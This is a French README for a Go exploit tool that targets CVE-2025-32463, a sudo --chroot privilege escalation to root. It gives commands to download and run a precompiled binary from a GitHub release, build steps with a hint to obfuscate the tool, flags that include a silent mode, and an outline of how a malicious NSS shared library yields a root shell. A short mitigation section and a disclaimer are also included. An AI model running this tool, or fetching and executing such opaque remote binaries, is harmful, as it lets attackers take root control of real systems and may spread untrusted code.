Exploit CVE-2025-32463

Aperçu

Ce dépôt fournit un outil d'exploitation écrit en Go pour CVE-2025-32463, une vulnérabilité critique d'élévation de privilèges locale (CVSS 9.3) dans les versions de sudo 1.9.14 à 1.9.17. Elle permet à des utilisateurs locaux non autorisés d'obtenir un accès root en exploitant une faille dans l'option --chroot (-R).

⚠️ Avertissement : À des fins éducatives et de test uniquement. À utiliser dans des environnements isolés (par exemple, des VM). Ne pas utiliser à des fins malveillantes.

Détails de la vulnérabilité

• ID CVE : CVE-2025-32463
• Versions affectées : sudo 1.9.14–1.9.17
• Impact : Élévation de privilèges locale vers root
• Description : L'exploit manipule l'environnement chroot pour charger une bibliothèque partagée malveillante, en définissant l'UID/GID à 0 et en lançant un shell root.

Prérequis

• Go 1.2+
• gcc
• libc-dev
• Version de sudo vulnérable
• Utilisateur non privilégié disposant d'un accès sudo et des permissions --chroot

Démarrage rapide

Télécharger le binaire précompilé

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

Compiler depuis les sources

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

Utilisation

Commande	Description
./exploit --help	Afficher l'aide d'utilisation
./exploit --about	Afficher les détails de la CVE
./exploit --execution	Exécuter l'exploit (ouvre un shell root)
./exploit --execution --silent	Exécution en mode silencieux

Vérification : Dans le shell root, exécutez id (doit afficher uid=0(root)) ou whoami (doit afficher root).

Fonctionnement (vue d'ensemble)

1. Crée un répertoire temporaire /tmp/sudowoot.stage.*
2. Génère du code C malveillant (woot1337.c) pour un shell root
3. Met en place un faux chroot avec une configuration NSS
4. Compile en bibliothèque partagée (libnss_/woot1337.so.2)
5. Exécute sudo -R woot woot pour charger la bibliothèque et élever les privilèges
6. Nettoie automatiquement les fichiers temporaires

Atténuation

• Mettre à jour sudo vers la dernière version
• Désactiver chroot : ajouter Defaults !use_chroot à /etc/sudoers

Références

• Entrée NVD

Clause de non-responsabilité

Cet outil est destiné à la recherche en sécurité. L'auteur n'est pas responsable d'une mauvaise utilisation. Testez toujours de manière responsable.

---

Développé par MNM